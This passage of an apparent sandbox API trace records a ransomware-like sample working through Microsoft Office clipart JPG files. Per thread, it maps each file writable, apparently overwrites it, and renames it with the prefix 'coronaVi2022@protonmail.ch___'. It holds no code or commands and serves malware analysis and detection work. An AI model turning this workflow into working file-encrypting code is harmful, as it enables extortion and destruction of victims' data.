	[0100.213] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.214] CloseHandle (hObject=0xe20) returned 1
	[0100.214] GetCurrentThreadId () returned 0xdd4
	[0100.214] FlushFileBuffers (hFile=0xe38) returned 1
	[0100.216] CloseHandle (hObject=0xe38) returned 1
	[0100.216] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341551.jpg") returned 97
	[0100.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341551.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341551.jpg")) returned 1
	[0100.217] free (_Block=0x51fa0c0) 
	[0100.217] RtlExitUserThread (Status=0x0) 

Thread:
	id = 738
	os_tid = 0xf38

	[0100.221] _alloca_probe () returned 0x40328a
	[0100.222] GetCurrentThreadId () returned 0xf38
	[0100.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.jpg", dwFileAttributes=0x80) returned 1
	[0100.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe20
	[0100.222] GetFileSizeEx (in: hFile=0xe20, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=28483) returned 1
	[0100.222] CreateFileMappingA (hFile=0xe20, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f45, lpName=0x0) returned 0xe3c
	[0100.222] MapViewOfFile (hFileMappingObject=0xe3c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.228] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.229] CloseHandle (hObject=0xe3c) returned 1
	[0100.229] GetCurrentThreadId () returned 0xf38
	[0100.229] FlushFileBuffers (hFile=0xe20) returned 1
	[0100.232] CloseHandle (hObject=0xe20) returned 1
	[0100.232] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341554.jpg") returned 97
	[0100.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341554.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341554.jpg")) returned 1
	[0100.233] free (_Block=0x51f3088) 
	[0100.233] RtlExitUserThread (Status=0x0) 

Thread:
	id = 739
	os_tid = 0x73c

	[0100.235] _alloca_probe () returned 0x40328a
	[0100.235] GetCurrentThreadId () returned 0x73c
	[0100.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.jpg", dwFileAttributes=0x80) returned 1
	[0100.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe3c
	[0100.236] GetFileSizeEx (in: hFile=0xe3c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=27304) returned 1
	[0100.236] CreateFileMappingA (hFile=0xe3c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6aaf, lpName=0x0) returned 0xe40
	[0100.236] MapViewOfFile (hFileMappingObject=0xe40, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.243] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.243] CloseHandle (hObject=0xe40) returned 1
	[0100.243] GetCurrentThreadId () returned 0x73c
	[0100.243] FlushFileBuffers (hFile=0xe3c) returned 1
	[0100.248] CloseHandle (hObject=0xe3c) returned 1
	[0100.249] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341557.jpg") returned 97
	[0100.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341557.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341557.jpg")) returned 1
	[0100.249] free (_Block=0x51f0070) 
	[0100.249] RtlExitUserThread (Status=0x0) 

Thread:
	id = 740
	os_tid = 0xdf0

	[0100.254] _alloca_probe () returned 0x40328a
	[0100.254] GetCurrentThreadId () returned 0xdf0
	[0100.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.jpg", dwFileAttributes=0x80) returned 1
	[0100.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe40
	[0100.255] GetFileSizeEx (in: hFile=0xe40, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=26739) returned 1
	[0100.255] CreateFileMappingA (hFile=0xe40, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6875, lpName=0x0) returned 0xe44
	[0100.255] MapViewOfFile (hFileMappingObject=0xe44, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.261] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.261] CloseHandle (hObject=0xe44) returned 1
	[0100.261] GetCurrentThreadId () returned 0xdf0
	[0100.261] FlushFileBuffers (hFile=0xe40) returned 1
	[0100.263] CloseHandle (hObject=0xe40) returned 1
	[0100.264] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341559.jpg") returned 97
	[0100.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341559.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341559.jpg")) returned 1
	[0100.264] free (_Block=0x51f80b0) 
	[0100.264] RtlExitUserThread (Status=0x0) 

Thread:
	id = 741
	os_tid = 0x4b4

	[0100.266] _alloca_probe () returned 0x40328a
	[0100.267] GetCurrentThreadId () returned 0x4b4
	[0100.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.jpg", dwFileAttributes=0x80) returned 1
	[0100.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe44
	[0100.267] GetFileSizeEx (in: hFile=0xe44, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=42135) returned 1
	[0100.267] CreateFileMappingA (hFile=0xe44, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa49d, lpName=0x0) returned 0xe48
	[0100.268] MapViewOfFile (hFileMappingObject=0xe48, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.277] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.277] CloseHandle (hObject=0xe48) returned 1
	[0100.277] GetCurrentThreadId () returned 0x4b4
	[0100.277] FlushFileBuffers (hFile=0xe44) returned 1
	[0100.280] CloseHandle (hObject=0xe44) returned 1
	[0100.280] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341561.jpg") returned 97
	[0100.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341561.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341561.jpg")) returned 1
	[0100.281] free (_Block=0x51f3088) 
	[0100.281] RtlExitUserThread (Status=0x0) 

Thread:
	id = 742
	os_tid = 0xb00

	[0100.282] _alloca_probe () returned 0x40328a
	[0100.283] GetCurrentThreadId () returned 0xb00
	[0100.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.jpg", dwFileAttributes=0x80) returned 1
	[0100.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe48
	[0100.284] GetFileSizeEx (in: hFile=0xe48, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7803) returned 1
	[0100.284] CreateFileMappingA (hFile=0xe48, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e85, lpName=0x0) returned 0xe4c
	[0100.284] MapViewOfFile (hFileMappingObject=0xe4c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.287] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.287] CloseHandle (hObject=0xe4c) returned 1
	[0100.287] GetCurrentThreadId () returned 0xb00
	[0100.287] FlushFileBuffers (hFile=0xe48) returned 1
	[0100.289] CloseHandle (hObject=0xe48) returned 1
	[0100.289] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341634.jpg") returned 97
	[0100.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341634.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341634.jpg")) returned 1
	[0100.290] free (_Block=0x51f60a0) 
	[0100.290] RtlExitUserThread (Status=0x0) 

Thread:
	id = 743
	os_tid = 0x56c

	[0100.295] _alloca_probe () returned 0x40328a
	[0100.295] GetCurrentThreadId () returned 0x56c
	[0100.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.jpg", dwFileAttributes=0x80) returned 1
	[0100.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe4c
	[0100.297] GetFileSizeEx (in: hFile=0xe4c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13845) returned 1
	[0100.297] CreateFileMappingA (hFile=0xe4c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3619, lpName=0x0) returned 0xe50
	[0100.297] MapViewOfFile (hFileMappingObject=0xe50, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.348] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.348] CloseHandle (hObject=0xe50) returned 1
	[0100.348] GetCurrentThreadId () returned 0x56c
	[0100.348] FlushFileBuffers (hFile=0xe4c) returned 1
	[0100.351] CloseHandle (hObject=0xe4c) returned 1
	[0100.353] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341636.jpg") returned 97
	[0100.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341636.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341636.jpg")) returned 1
	[0100.378] free (_Block=0x51f4090) 
	[0100.378] RtlExitUserThread (Status=0x0) 

Thread:
	id = 744
	os_tid = 0x11b0

	[0100.298] _alloca_probe () returned 0x40328a
	[0100.299] GetCurrentThreadId () returned 0x11b0
	[0100.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.jpg", dwFileAttributes=0x80) returned 1
	[0100.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe58
	[0100.300] GetFileSizeEx (in: hFile=0xe58, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=8230) returned 1
	[0100.300] CreateFileMappingA (hFile=0xe58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x202b, lpName=0x0) returned 0xe5c
	[0100.300] MapViewOfFile (hFileMappingObject=0xe5c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0100.302] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0100.303] CloseHandle (hObject=0xe5c) returned 1
	[0100.303] GetCurrentThreadId () returned 0x11b0
	[0100.303] FlushFileBuffers (hFile=0xe58) returned 1
	[0100.349] CloseHandle (hObject=0xe58) returned 1
	[0100.351] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341645.jpg") returned 97
	[0100.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341645.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341645.jpg")) returned 1
	[0100.377] free (_Block=0x51f5098) 
	[0100.377] RtlExitUserThread (Status=0x0) 

Thread:
	id = 745
	os_tid = 0x13e8

	[0100.306] _alloca_probe () returned 0x40328a
	[0100.306] GetCurrentThreadId () returned 0x13e8
	[0100.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.jpg", dwFileAttributes=0x80) returned 1
	[0100.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe6c
	[0100.355] GetFileSizeEx (in: hFile=0xe6c, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=15863) returned 1
	[0100.355] CreateFileMappingA (hFile=0xe6c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dfd, lpName=0x0) returned 0xe74
	[0100.366] MapViewOfFile (hFileMappingObject=0xe74, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.371] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.372] CloseHandle (hObject=0xe74) returned 1
	[0100.372] GetCurrentThreadId () returned 0x13e8
	[0100.372] FlushFileBuffers (hFile=0xe6c) returned 1
	[0100.374] CloseHandle (hObject=0xe6c) returned 1
	[0100.375] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341653.jpg") returned 97
	[0100.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341653.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341653.jpg")) returned 1
	[0100.380] free (_Block=0x51f0070) 
	[0100.380] RtlExitUserThread (Status=0x0) 

Thread:
	id = 746
	os_tid = 0x13e4

	[0100.308] _alloca_probe () returned 0x40328a
	[0100.308] GetCurrentThreadId () returned 0x13e4
	[0100.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.jpg", dwFileAttributes=0x80) returned 1
	[0100.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe4c
	[0100.354] GetFileSizeEx (in: hFile=0xe4c, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=15743) returned 1
	[0100.354] CreateFileMappingA (hFile=0xe4c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d8d, lpName=0x0) returned 0xe74
	[0100.355] MapViewOfFile (hFileMappingObject=0xe74, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0100.365] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0100.365] CloseHandle (hObject=0xe74) returned 1
	[0100.365] GetCurrentThreadId () returned 0x13e4
	[0100.365] FlushFileBuffers (hFile=0xe4c) returned 1
	[0100.816] CloseHandle (hObject=0xe4c) returned 1
	[0100.816] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341654.jpg") returned 97
	[0100.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341654.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341654.jpg")) returned 1
	[0100.817] free (_Block=0x51f60a0) 
	[0100.817] RtlExitUserThread (Status=0x0) 

Thread:
	id = 747
	os_tid = 0x384

	[0100.310] _alloca_probe () returned 0x40328a
	[0100.310] GetCurrentThreadId () returned 0x384
	[0100.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.jpg", dwFileAttributes=0x80) returned 1
	[0100.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe58
	[0100.352] GetFileSizeEx (in: hFile=0xe58, lpFileSize=0x36cff5c | out: lpFileSize=0x36cff5c*=20166) returned 1
	[0100.353] CreateFileMappingA (hFile=0xe58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ecb, lpName=0x0) returned 0xe70
	[0100.354] MapViewOfFile (hFileMappingObject=0xe70, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.360] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.360] CloseHandle (hObject=0xe70) returned 1
	[0100.360] GetCurrentThreadId () returned 0x384
	[0100.360] FlushFileBuffers (hFile=0xe58) returned 1
	[0100.372] CloseHandle (hObject=0xe58) returned 1
	[0100.374] _swprintf (in: param_1=0x36c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341738.jpg") returned 97
	[0100.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341738.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341738.jpg")) returned 1
	[0100.380] free (_Block=0x51f80b0) 
	[0100.380] RtlExitUserThread (Status=0x0) 

Thread:
	id = 748
	os_tid = 0x1c04

	[0100.394] _alloca_probe () returned 0x40328a
	[0100.394] GetCurrentThreadId () returned 0x1c04
	[0100.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.jpg", dwFileAttributes=0x80) returned 1
	[0100.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe58
	[0100.395] GetFileSizeEx (in: hFile=0xe58, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=18874) returned 1
	[0100.395] CreateFileMappingA (hFile=0xe58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49c3, lpName=0x0) returned 0xe68
	[0100.395] MapViewOfFile (hFileMappingObject=0xe68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.400] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.400] CloseHandle (hObject=0xe68) returned 1
	[0100.400] GetCurrentThreadId () returned 0x1c04
	[0100.400] FlushFileBuffers (hFile=0xe58) returned 1
	[0100.406] CloseHandle (hObject=0xe58) returned 1
	[0100.406] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341742.jpg") returned 97
	[0100.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0341742.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0341742.jpg")) returned 1
	[0100.407] free (_Block=0x51f0070) 
	[0100.407] RtlExitUserThread (Status=0x0) 

Thread:
	id = 749
	os_tid = 0x1c08

	[0100.411] _alloca_probe () returned 0x40328a
	[0100.411] GetCurrentThreadId () returned 0x1c08
	[0100.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.jpg", dwFileAttributes=0x80) returned 1
	[0100.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe68
	[0100.412] GetFileSizeEx (in: hFile=0xe68, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=68572) returned 1
	[0100.412] CreateFileMappingA (hFile=0xe68, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10be7, lpName=0x0) returned 0xe50
	[0100.412] MapViewOfFile (hFileMappingObject=0xe50, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0100.427] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0100.428] CloseHandle (hObject=0xe50) returned 1
	[0100.428] GetCurrentThreadId () returned 0x1c08
	[0100.428] FlushFileBuffers (hFile=0xe68) returned 1
	[0100.439] CloseHandle (hObject=0xe68) returned 1
	[0100.440] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0382836.jpg") returned 97
